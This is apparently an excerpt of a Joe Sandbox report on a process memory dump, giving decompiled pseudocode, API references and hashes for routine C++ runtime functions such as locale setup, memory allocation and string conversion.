				E00007FF77FF7AF71F098( *_t40, _t40,  !=  ?  *_t40 : ":Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday", _t61, _t64);
				_t11 = _t61 + 0x18; // 0x18
				_t41 = _t11;
				if (_t38 == 0) goto 0xaf6ea060;
				E00007FF77FF7AF6DC270(_t38, _t41, _t41, _t38, _t61);
				E00007FF77FF7AF70F228(_t41, _t38, _t38, _t61, _t64, _t64);
				_t52 =  !=  ?  *_t41 : ":Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December";
				E00007FF77FF7AF6EA238(0, _t41,  !=  ?  *_t41 : ":Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December", _t64, _t64);
				 *((long long*)(_t75 + 0x18)) = _t38;
				_t28 = E00007FF77FF7AF6EA238(0, _t41, ":AM:am:PM:pm", _t64, _t64);
				 *((long long*)(_t75 + 0x20)) = _t38;
				return _t28;
			}

0x7ff7af6e9fb0
0x7ff7af6e9fb0
0x7ff7af6e9fb0
0x7ff7af6e9fb3
0x7ff7af6e9fb7
0x7ff7af6e9fbb
0x7ff7af6e9fbf
0x7ff7af6e9fc9
0x7ff7af6e9fcc
0x7ff7af6e9fd3
0x7ff7af6e9fd8
0x7ff7af6e9fd8
0x7ff7af6e9fdc
0x7ff7af6e9fdf
0x7ff7af6e9fe3
0x7ff7af6e9fe7
0x7ff7af6e9feb
0x7ff7af6e9ff0
0x7ff7af6e9ff8
0x7ff7af6e9ffb
0x7ff7af6ea000
0x7ff7af6ea000
0x7ff7af6ea00a
0x7ff7af6ea012
0x7ff7af6ea01a
0x7ff7af6ea02d
0x7ff7af6ea033
0x7ff7af6ea038
0x7ff7af6ea03c
0x7ff7af6ea041
0x7ff7af6ea041
0x7ff7af6ea04b
0x7ff7af6ea053
0x7ff7af6ea05b
0x7ff7af6ea06e
0x7ff7af6ea074
0x7ff7af6ea07c
0x7ff7af6ea089
0x7ff7af6ea0a2
0x7ff7af6ea0ac

APIs

_Maklocstr.LIBCPMT ref: 00007FF7AF6EA033
_Maklocstr.LIBCPMT ref: 00007FF7AF6EA074
_Maklocstr.LIBCPMT ref: 00007FF7AF6EA089

Strings

:AM:am:PM:pm, xrefs: 00007FF7AF6EA082
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF7AF6EA023
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 00007FF7AF6EA064

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Maklocstr
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 2987148671-35662545
Opcode ID: b0129a3f98df93f990efb18595c09fc35e7db019bc1f7aee79a7d40e80ff7565
Instruction ID: e97b76882a4e2b75fad705ea5d2adedf05edbe5b52ab50238e7523868bde944b
Opcode Fuzzy Hash: b0129a3f98df93f990efb18595c09fc35e7db019bc1f7aee79a7d40e80ff7565
Instruction Fuzzy Hash: E0216126A06B86C5E710EF21D9403EDB7A5EB89B80FCA9231DA4D13766DF3CE145C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DD4F0 Relevance: 9.3, APIs: 6, Instructions: 337COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00007FF7AF6DD704

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal
String ID:
API String ID: 2826327444-0
Opcode ID: 04fab711f54679cc3cf496dc2b2257fe6fbeb69bb90309b625c6b17cfab4ee39
Instruction ID: 51fa33489271a3e95c9e8667b16099a096b4efbc80292f5d5927ca99c4d0de6c
Opcode Fuzzy Hash: 04fab711f54679cc3cf496dc2b2257fe6fbeb69bb90309b625c6b17cfab4ee39
Instruction Fuzzy Hash: CEE16D26B06F818AEB11AF79D4443EC73B6EB44B88F555126CE4C17B68DF38D4A5C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF707FE4 Relevance: 9.2, APIs: 6, Instructions: 200COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7AF708056
MultiByteToWideChar.KERNEL32 ref: 00007FF7AF7080FE
LCMapStringEx.KERNEL32 ref: 00007FF7AF708135
LCMapStringEx.KERNEL32 ref: 00007FF7AF70818E
LCMapStringEx.KERNEL32 ref: 00007FF7AF70823B
WideCharToMultiByte.KERNEL32 ref: 00007FF7AF70827D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 8efaa1687560695e11d9b4b4d03d37efe44539b4fba4e9e0f8b4c4dafb706eb6
Instruction ID: dbe5fec787cadd4ee0d77a440b5fea6918060b9cfc8b0809749c444092c8ec35
Opcode Fuzzy Hash: 8efaa1687560695e11d9b4b4d03d37efe44539b4fba4e9e0f8b4c4dafb706eb6
Instruction Fuzzy Hash: A681A43660AB8286EB209F51E8403BAB791FF487A8FC50635EA5D17BE4DF7CD4458710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D3000 Relevance: 9.2, APIs: 6, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF7AF6D3000(long long __rbx, long long __rcx, intOrPtr* __rdx, long long __rsi, long long _a24, long long _a32) {
				void* _v8;
				signed int _v24;
				long long _v32;
				long long _v40;
				short _v56;
				long long _v64;
				short _v72;
				void* _t57;
				signed long long _t75;
				signed long long _t76;
				intOrPtr _t77;
				signed long long _t80;
				long long _t82;
				signed long long _t83;
				intOrPtr* _t88;
				intOrPtr* _t89;
				signed long long _t94;
				intOrPtr _t96;
				short _t99;
				intOrPtr _t100;
				intOrPtr _t106;
				intOrPtr* _t110;
				long long _t111;
				void* _t113;
				void* _t114;

				_t111 = __rsi;
				_a24 = __rbx;
				_a32 = __rsi;
				_t75 =  *0xaf751030; // 0xa13e9e6732fb
				_t76 = _t75 ^ _t114 - 0x00000060;
				_v24 = _t76;
				_t88 = __rdx;
				_t110 = __rcx;
				_v64 = __rcx;
				_v72 = 0;
				 *((long long*)(__rcx)) = __rsi;
				 *((long long*)(__rcx + 0x10)) = __rsi;
				 *((long long*)(__rcx + 0x18)) = 7;
				 *((short*)(__rcx)) = 0;
				_v72 = 1;
				E00007FF77FF7AF6D3260(__rdx, __rdx, __rsi, _t113);
				if (_t76 == 0xffffffff) goto 0xaf6d319b;
				_t9 = _t76 + 1; // 0x1
				_t94 = _t9;
				_v56 = _t111;
				_v40 = _t111;
				_v32 = _t111;
				_v40 = _t111;
				_v32 = 7;
				_v56 = 0;
				_t77 =  *((intOrPtr*)(_t88 + 0x10));
				if (_t77 - _t94 < 0) goto 0xaf6d31e1;
				_t118 =  <  ? _t77 - _t94 : 0xffffffff;
				if ( *((long long*)(_t88 + 0x18)) - 8 < 0) goto 0xaf6d30a9;
				_t89 =  *_t88;
				E00007FF77FF7AF6D2000(_t89,  &_v56, _t89 + _t94 * 2, _t111, _t113,  <  ? _t77 - _t94 : 0xffffffff);
				_v72 = 3;
				if (_t110 ==  &_v56) goto 0xaf6d3140;
				_t80 =  *((intOrPtr*)(_t110 + 0x18));
				if (_t80 - 8 < 0) goto 0xaf6d310a;
				_t96 =  *_t110;
				if (2 + _t80 * 2 - 0x1000 < 0) goto 0xaf6d30ff;
				_t106 =  *((intOrPtr*)(_t96 - 8));
				_t82 = _t96 - _t106 - 8;
				if (_t82 - 0x1f > 0) goto 0xaf6d31e7;
				if (_t106 == 0) goto 0xaf6d310a;
				LocalFree(??);
				 *((long long*)(_t110 + 0x18)) = 7;
				asm("movups xmm0, [esp+0x30]");
				asm("movups [edi], xmm0");
				asm("movups xmm1, [esp+0x40]");
				asm("movups [edi+0x10], xmm1");
				_v40 = _t111;
				_v32 = _t82;
				_v56 = 0;
				goto 0xaf6d3145;
				_t83 = _v32;
				_v72 = 1;
				if (_t83 - 8 < 0) goto 0xaf6d3186;
				_t99 = _v56;
				if (2 + _t83 * 2 - 0x1000 < 0) goto 0xaf6d317b;
				_t100 =  *((intOrPtr*)(_t99 - 8));
				if (_t99 - _t100 - 8 - 0x1f > 0) goto 0xaf6d31db;
				if (_t100 == 0) goto 0xaf6d3186;
				LocalFree(??);
				_v40 = _t111;
				_v32 = 7;
				_v56 = 0;
				goto 0xaf6d31b9;
				if (_t110 == _t89) goto 0xaf6d31b9;
				if ( *((long long*)(_t89 + 0x18)) - 8 < 0) goto 0xaf6d31ae;
				return E00007FF77FF7AF708B70(E00007FF77FF7AF6D2000( *_t89, _t110,  *_t89, _t111, _t113,  *((intOrPtr*)(_t89 + 0x10))), _t57, _v24 ^ _t114 - 0x00000060);
			}

0x7ff7af6d3000
0x7ff7af6d3000
0x7ff7af6d3005
0x7ff7af6d300f
0x7ff7af6d3016
0x7ff7af6d3019
0x7ff7af6d301e
0x7ff7af6d3021
0x7ff7af6d3024
0x7ff7af6d302b
0x7ff7af6d302f
0x7ff7af6d3032
0x7ff7af6d3036
0x7ff7af6d303e
0x7ff7af6d3041
0x7ff7af6d304c
0x7ff7af6d3055
0x7ff7af6d305b
0x7ff7af6d305b
0x7ff7af6d305f
0x7ff7af6d3064
0x7ff7af6d3069
0x7ff7af6d306e
0x7ff7af6d3073
0x7ff7af6d307c
0x7ff7af6d3081
0x7ff7af6d3088
0x7ff7af6d309b
0x7ff7af6d30a4
0x7ff7af6d30a6
0x7ff7af6d30b2
0x7ff7af6d30bc
0x7ff7af6d30c8
0x7ff7af6d30ca
0x7ff7af6d30d2
0x7ff7af6d30d4
0x7ff7af6d30e5
0x7ff7af6d30e7
0x7ff7af6d30ee
0x7ff7af6d30f6
0x7ff7af6d3102
0x7ff7af6d3104
0x7ff7af6d310a
0x7ff7af6d3112
0x7ff7af6d3117
0x7ff7af6d311a
0x7ff7af6d311f
0x7ff7af6d3123
0x7ff7af6d312d
0x7ff7af6d3132
0x7ff7af6d3137
0x7ff7af6d3140
0x7ff7af6d3148
0x7ff7af6d3150
0x7ff7af6d315a
0x7ff7af6d3168
0x7ff7af6d316a
0x7ff7af6d3179
0x7ff7af6d317e
0x7ff7af6d3180
0x7ff7af6d3186
0x7ff7af6d318b
0x7ff7af6d3194
0x7ff7af6d3199
0x7ff7af6d319e
0x7ff7af6d31a9
0x7ff7af6d31da

APIs

LocalFree.KERNEL32 ref: 00007FF7AF6D3104
LocalFree.KERNEL32 ref: 00007FF7AF6D3180
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D31DB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D31E7
LocalFree.KERNEL32 ref: 00007FF7AF6D3229
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D3242

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 195334829-0
Opcode ID: f83df012a202cebe2d5f20d2d150172898c85ca1e8a7dfbfd79699b0aeff6e6b
Instruction ID: 0f946a4e852655acc7a5e6c39934ee639ae334a7b99fa2776023efb535f8e82b
Opcode Fuzzy Hash: f83df012a202cebe2d5f20d2d150172898c85ca1e8a7dfbfd79699b0aeff6e6b
Instruction Fuzzy Hash: 0751C73261AFC281EA149F15E8453ADB36AFB48B94F915636EB5D07BA4CF3DD4A0C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D5840 Relevance: 9.1, APIs: 6, Instructions: 146memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(?,?,00000000,?,00000000,00000000,?,00007FF7AF6D4FE0), ref: 00007FF7AF6D58EB
LocalAlloc.KERNEL32(?,?,00000000,?,00000000,00000000,?,00007FF7AF6D4FE0), ref: 00007FF7AF6D591D
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,?,00007FF7AF6D4FE0), ref: 00007FF7AF6D59C6
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6D59F2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D59FE
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7AF6D4FE0), ref: 00007FF7AF6D5A1D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$AllocFree$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 172244704-0
Opcode ID: 769e7222a57b3d9ae81d78c0f91bca50d473cd9d4afbdf9eec48e17352fe6fc7
Instruction ID: 6b29819e9c64c2f56f9a919ad6ba73fe0e3c8e1f9822f73f674fd74707faca26
Opcode Fuzzy Hash: 769e7222a57b3d9ae81d78c0f91bca50d473cd9d4afbdf9eec48e17352fe6fc7
Instruction Fuzzy Hash: D1411866716BC282EA14EB25D4443F9A365BB08BE4F845632DFAC07BE5CF3CE4618310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D3F20 Relevance: 9.1, APIs: 6, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6D3FAE
LocalAlloc.KERNEL32 ref: 00007FF7AF6D3FD8
LocalFree.KERNEL32 ref: 00007FF7AF6D402D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4051
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6D405D
CoUninitialize.OLE32 ref: 00007FF7AF6D4079

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Concurrency::cancel_current_taskFreeUninitialize_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2934397578-0
Opcode ID: 3ed7b950d96eb0a4357417cb0d057b8770658e549743e261da4caf6dd47e78da
Instruction ID: 2d662f6c440874d8a54d28bd629a44a93dce75ffb67cb53b1133383238d96607
Opcode Fuzzy Hash: 3ed7b950d96eb0a4357417cb0d057b8770658e549743e261da4caf6dd47e78da
Instruction Fuzzy Hash: 1D311561B0BA8245EA24AB15D4483BDE26BEF08BD0FD65632DB6D077F4DE7CD4A18310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EC290 Relevance: 9.1, APIs: 6, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00007FF77FF7AF6EC290(void* __ecx, intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rbp;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				long long _t51;
				long long _t56;
				intOrPtr _t63;
				signed long long _t64;
				long long _t65;
				void* _t66;
				void* _t67;
				signed int _t68;

				_t43 = __rax;
				_t66 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t65 =  *0xaf753118; // 0x0
				_a24 = _t65;
				_t63 =  *0xaf753070; // 0x0
				if (_t63 != 0) goto 0xaf6ec300;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf753070 - _t63; // 0x0
				if (_t35 != 0) goto 0xaf6ec2ef;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf753070 = _t43;
				_t24 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t64 =  *0xaf753070; // 0x0
				_t56 = _a8;
				_t68 = _t64 * 8;
				if (_t64 -  *((intOrPtr*)(_t56 + 0x18)) >= 0) goto 0xaf6ec321;
				_t44 =  *((intOrPtr*)(_t56 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t44)) != 0) goto 0xaf6ec387;
				goto 0xaf6ec323;
				if ( *((char*)(_t56 + 0x24)) == 0) goto 0xaf6ec33c;
				E00007FF77FF7AF6E8848(_t24);
				if (_t64 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6ec341;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t45)) != 0) goto 0xaf6ec387;
				if (_t65 == 0) goto 0xaf6ec34b;
				goto 0xaf6ec387;
				_t26 = E00007FF77FF7AF6EE020(0, _t45, _t65,  &_a24, _t66, _t66, _t67);
				if (_t45 == 0xffffffff) goto 0xaf6ec39f;
				_t51 = _a24;
				_a8 = _t51;
				E00007FF77FF7AF6E8810(_t26, _t45, _t51);
				_t28 =  *0xaf7354d0();
				 *0xaf753118 = _t51;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6ec290
0x7ff7af6ec29b
0x7ff7af6ec2a5
0x7ff7af6ec2ab
0x7ff7af6ec2b2
0x7ff7af6ec2b7
0x7ff7af6ec2c1
0x7ff7af6ec2ca
0x7ff7af6ec2cf
0x7ff7af6ec2d6
0x7ff7af6ec2d8
0x7ff7af6ec2e0
0x7ff7af6ec2e8
0x7ff7af6ec2f4
0x7ff7af6ec2f9
0x7ff7af6ec300
0x7ff7af6ec304
0x7ff7af6ec310
0x7ff7af6ec312
0x7ff7af6ec31d
0x7ff7af6ec31f
0x7ff7af6ec327
0x7ff7af6ec329
0x7ff7af6ec332
0x7ff7af6ec334
0x7ff7af6ec33f
0x7ff7af6ec344
0x7ff7af6ec349
0x7ff7af6ec353
0x7ff7af6ec35c
0x7ff7af6ec35e
0x7ff7af6ec363
0x7ff7af6ec36b
0x7ff7af6ec37a
0x7ff7af6ec380
0x7ff7af6ec39e

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EC2A5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EC2CA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EC2F4
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6EC36B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EC38C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EC39F

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: da20171684eb8108c4ccf964628322c91ccce36d9f00d4b26ad2e753cb3a95b6
Instruction ID: 2af20f8b397a8739a92c94fb2a935441f8c12736eb671518c5e9299ae098b0ea
Opcode Fuzzy Hash: da20171684eb8108c4ccf964628322c91ccce36d9f00d4b26ad2e753cb3a95b6
Instruction Fuzzy Hash: A7418627A0AA8291EA45BF25E8406FDE356EF54B50FCA1131DE4D472B5DE2DE442C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E28A0 Relevance: 9.1, APIs: 6, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00007FF77FF7AF6E28A0(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t33;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				long long _t51;
				long long _t56;
				intOrPtr _t63;
				signed long long _t64;
				long long _t65;
				void* _t66;
				void* _t67;
				signed int _t68;

				_t43 = __rax;
				_t66 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t65 =  *0xaf752da8; // 0x0
				_a24 = _t65;
				_t63 =  *0xaf752d88; // 0x0
				if (_t63 != 0) goto 0xaf6e2910;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf752d88 - _t63; // 0x0
				if (_t35 != 0) goto 0xaf6e28ff;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf752d88 = _t43;
				_t24 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t64 =  *0xaf752d88; // 0x0
				_t56 = _a8;
				_t68 = _t64 * 8;
				if (_t64 -  *((intOrPtr*)(_t56 + 0x18)) >= 0) goto 0xaf6e2931;
				_t44 =  *((intOrPtr*)(_t56 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t44)) != 0) goto 0xaf6e2997;
				goto 0xaf6e2933;
				if ( *((char*)(_t56 + 0x24)) == 0) goto 0xaf6e294c;
				E00007FF77FF7AF6E8848(_t24);
				if (_t64 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6e2951;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t45)) != 0) goto 0xaf6e2997;
				if (_t65 == 0) goto 0xaf6e295b;
				goto 0xaf6e2997;
				_t26 = E00007FF77FF7AF6E3268(0, 0, _t33, _t65,  &_a24, _t66, _t67);
				if (_t45 == 0xffffffff) goto 0xaf6e29af;
				_t51 = _a24;
				_a8 = _t51;
				E00007FF77FF7AF6E8810(_t26, _t45, _t51);
				_t28 =  *0xaf7354d0();
				 *0xaf752da8 = _t51;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6e28a0
0x7ff7af6e28ab
0x7ff7af6e28b5
0x7ff7af6e28bb
0x7ff7af6e28c2
0x7ff7af6e28c7
0x7ff7af6e28d1
0x7ff7af6e28da
0x7ff7af6e28df
0x7ff7af6e28e6
0x7ff7af6e28e8
0x7ff7af6e28f0
0x7ff7af6e28f8
0x7ff7af6e2904
0x7ff7af6e2909
0x7ff7af6e2910
0x7ff7af6e2914
0x7ff7af6e2920
0x7ff7af6e2922
0x7ff7af6e292d
0x7ff7af6e292f
0x7ff7af6e2937
0x7ff7af6e2939
0x7ff7af6e2942
0x7ff7af6e2944
0x7ff7af6e294f
0x7ff7af6e2954
0x7ff7af6e2959
0x7ff7af6e2963
0x7ff7af6e296c
0x7ff7af6e296e
0x7ff7af6e2973
0x7ff7af6e297b
0x7ff7af6e298a
0x7ff7af6e2990
0x7ff7af6e29ae

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E28B5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E28DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E2904
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6E297B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E299C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6E29AF

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 864ed6684510373004b5766cd32483b10d8cc78b8fcd33fb423b884f6ade852e
Instruction ID: da65d2c72f196ffd1e870e0faae0246fe281584e5081812dae0a0d35e0e8a12d
Opcode Fuzzy Hash: 864ed6684510373004b5766cd32483b10d8cc78b8fcd33fb423b884f6ade852e
Instruction Fuzzy Hash: C8319827E0A686D5FA05BB16D8402F9A366EF84B50FDA2131DE4D472B5DE3DE842C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DC000 Relevance: 9.1, APIs: 6, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF7AF6DC000(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				intOrPtr _t22;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				long long _t45;
				long long _t50;
				long long _t55;
				intOrPtr _t62;
				signed long long _t63;
				long long _t64;
				void* _t65;
				signed int _t66;

				_t43 = __rax;
				_t65 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t64 =  *0xaf754690; // 0x0
				_a24 = _t64;
				_t62 =  *0xaf752dd0; // 0x0
				if (_t62 != 0) goto 0xaf6dc071;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf752dd0 - _t62; // 0x0
				if (_t35 != 0) goto 0xaf6dc060;
				_t22 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t22 + 1;
				 *0xaf752dd0 = _t43;
				_t25 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t63 =  *0xaf752dd0; // 0x0
				_t55 = _a8;
